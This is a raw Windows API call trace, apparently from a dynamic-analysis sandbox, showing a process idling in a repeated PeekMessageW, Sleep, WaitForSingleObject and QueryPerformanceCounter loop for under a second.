[0128.971] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.972] Sleep (dwMilliseconds=0x64) [0128.987] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0128.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704359836) returned 1 [0128.987] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704360007) returned 1 [0128.988] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0128.988] Sleep (dwMilliseconds=0x64) [0129.002] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704410137) returned 1 [0129.002] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704410306) returned 1 [0129.003] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.003] Sleep (dwMilliseconds=0x64) [0129.018] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.018] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704465846) returned 1 [0129.018] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704465999) returned 1 [0129.019] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.019] Sleep (dwMilliseconds=0x64) [0129.033] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704516350) returned 1 [0129.033] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704516529) returned 1 [0129.034] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.034] Sleep (dwMilliseconds=0x64) [0129.049] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.049] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704569901) returned 1 [0129.049] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704570055) returned 1 [0129.049] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.050] Sleep (dwMilliseconds=0x64) [0129.066] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.066] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704628808) returned 1 [0129.066] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704628955) returned 1 [0129.067] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.067] Sleep (dwMilliseconds=0x64) [0129.081] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704679124) returned 1 [0129.081] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704679277) returned 1 [0129.081] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.082] Sleep (dwMilliseconds=0x64) [0129.095] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704729641) returned 1 [0129.096] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704729821) returned 1 [0129.096] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.097] Sleep (dwMilliseconds=0x64) [0129.111] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704783332) returned 1 [0129.111] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704783511) returned 1 [0129.112] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.112] Sleep (dwMilliseconds=0x64) [0129.127] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704838772) returned 1 [0129.127] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704838926) returned 1 [0129.128] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.128] Sleep (dwMilliseconds=0x64) [0129.142] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704889569) returned 1 [0129.142] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704889753) returned 1 [0129.143] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.143] Sleep (dwMilliseconds=0x64) [0129.158] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.158] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704942860) returned 1 [0129.158] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704943016) returned 1 [0129.158] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.159] Sleep (dwMilliseconds=0x64) [0129.174] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.175] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=704999827) returned 1 [0129.175] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=704999989) returned 1 [0129.175] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.176] Sleep (dwMilliseconds=0x64) [0129.189] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.189] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705049525) returned 1 [0129.189] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705049712) returned 1 [0129.190] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.190] Sleep (dwMilliseconds=0x64) [0129.208] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.208] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705113145) returned 1 [0129.208] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705113327) returned 1 [0129.208] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.209] Sleep (dwMilliseconds=0x64) [0129.220] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705156291) returned 1 [0129.220] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705156471) returned 1 [0129.221] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.221] Sleep (dwMilliseconds=0x64) [0129.237] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.237] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705212012) returned 1 [0129.237] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705212195) returned 1 [0129.237] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.238] Sleep (dwMilliseconds=0x64) [0129.251] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.252] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705262855) returned 1 [0129.252] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705263034) returned 1 [0129.252] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.253] Sleep (dwMilliseconds=0x64) [0129.267] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.267] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705316158) returned 1 [0129.267] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705316343) returned 1 [0129.268] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.268] Sleep (dwMilliseconds=0x64) [0129.283] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.283] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705369389) returned 1 [0129.283] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705369563) returned 1 [0129.283] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.284] Sleep (dwMilliseconds=0x64) [0129.298] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.298] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705423047) returned 1 [0129.298] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705423214) returned 1 [0129.299] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.299] Sleep (dwMilliseconds=0x64) [0129.314] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705476026) returned 1 [0129.314] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705476200) returned 1 [0129.314] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.315] Sleep (dwMilliseconds=0x64) [0129.331] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705535293) returned 1 [0129.331] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705535476) returned 1 [0129.332] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.332] Sleep (dwMilliseconds=0x64) [0129.346] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.346] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705584716) returned 1 [0129.346] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705584888) returned 1 [0129.346] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.347] Sleep (dwMilliseconds=0x64) [0129.361] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.361] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705637378) returned 1 [0129.361] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705637544) returned 1 [0129.362] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.362] Sleep (dwMilliseconds=0x64) [0129.381] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.381] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705705531) returned 1 [0129.381] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705705701) returned 1 [0129.382] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.382] Sleep (dwMilliseconds=0x64) [0129.392] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705742643) returned 1 [0129.392] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705742826) returned 1 [0129.392] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.393] Sleep (dwMilliseconds=0x64) [0129.425] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705855423) returned 1 [0129.425] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705855590) returned 1 [0129.426] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.427] Sleep (dwMilliseconds=0x64) [0129.439] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.439] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705902461) returned 1 [0129.439] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705902619) returned 1 [0129.439] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.440] Sleep (dwMilliseconds=0x64) [0129.455] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=705957668) returned 1 [0129.455] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=705957811) returned 1 [0129.455] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.456] Sleep (dwMilliseconds=0x64) [0129.470] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.470] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706009076) returned 1 [0129.470] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706009221) returned 1 [0129.470] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.471] Sleep (dwMilliseconds=0x64) [0129.501] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.501] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706114396) returned 1 [0129.501] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706114553) returned 1 [0129.501] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.502] Sleep (dwMilliseconds=0x64) [0129.502] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706119720) returned 1 [0129.502] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706119880) returned 1 [0129.503] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.503] Sleep (dwMilliseconds=0x64) [0129.517] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.517] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706169217) returned 1 [0129.517] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706169402) returned 1 [0129.517] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.518] Sleep (dwMilliseconds=0x64) [0129.532] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706222499) returned 1 [0129.532] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706222665) returned 1 [0129.533] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.533] Sleep (dwMilliseconds=0x64) [0129.548] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.548] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706276237) returned 1 [0129.548] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706276404) returned 1 [0129.549] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.549] Sleep (dwMilliseconds=0x64) [0129.564] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.564] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706331390) returned 1 [0129.564] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706331576) returned 1 [0129.565] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.565] Sleep (dwMilliseconds=0x64) [0129.579] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706383621) returned 1 [0129.579] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706383831) returned 1 [0129.580] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.581] Sleep (dwMilliseconds=0x64) [0129.595] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.595] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706435838) returned 1 [0129.595] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706436003) returned 1 [0129.595] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.596] Sleep (dwMilliseconds=0x64) [0129.611] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.611] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706492103) returned 1 [0129.611] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706492341) returned 1 [0129.612] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.612] Sleep (dwMilliseconds=0x64) [0129.627] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.627] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706547618) returned 1 [0129.627] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706547784) returned 1 [0129.628] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.628] Sleep (dwMilliseconds=0x64) [0129.641] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.641] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706595655) returned 1 [0129.641] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706595810) returned 1 [0129.642] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.642] Sleep (dwMilliseconds=0x64) [0129.657] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.657] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706649143) returned 1 [0129.657] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706649326) returned 1 [0129.658] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.658] Sleep (dwMilliseconds=0x64) [0129.673] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706704490) returned 1 [0129.673] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706704643) returned 1 [0129.674] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.674] Sleep (dwMilliseconds=0x64) [0129.688] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.688] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706755630) returned 1 [0129.688] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706755793) returned 1 [0129.689] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.689] Sleep (dwMilliseconds=0x64) [0129.704] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.704] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706809145) returned 1 [0129.704] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706809307) returned 1 [0129.704] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.705] Sleep (dwMilliseconds=0x64) [0129.719] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.720] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706862467) returned 1 [0129.720] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706862654) returned 1 [0129.720] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.721] Sleep (dwMilliseconds=0x64) [0129.735] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.735] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706916270) returned 1 [0129.735] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706916457) returned 1 [0129.736] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.736] Sleep (dwMilliseconds=0x64) [0129.753] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=706976085) returned 1 [0129.753] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=706976251) returned 1 [0129.753] PeekMessageW (in: lpMsg=0x2df914, hWnd=0x701a6, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2df914) returned 0 [0129.754] Sleep (dwMilliseconds=0x64) [0129.766] WaitForSingleObject (hHandle=0xc8, dwMilliseconds=0x0) returned 0x102 [0129.766] QueryPerformanceCounter (in: lpPerformanceCount=0x2df970 | out: lpPerformanceCount=0x2df970*=707022375) returned 1 [0129.766] QueryPerformanceCounter (in: lpPerformanceCount=0x2df980 | out: lpPerformanceCount=0x2df980*=707022542) returned 1 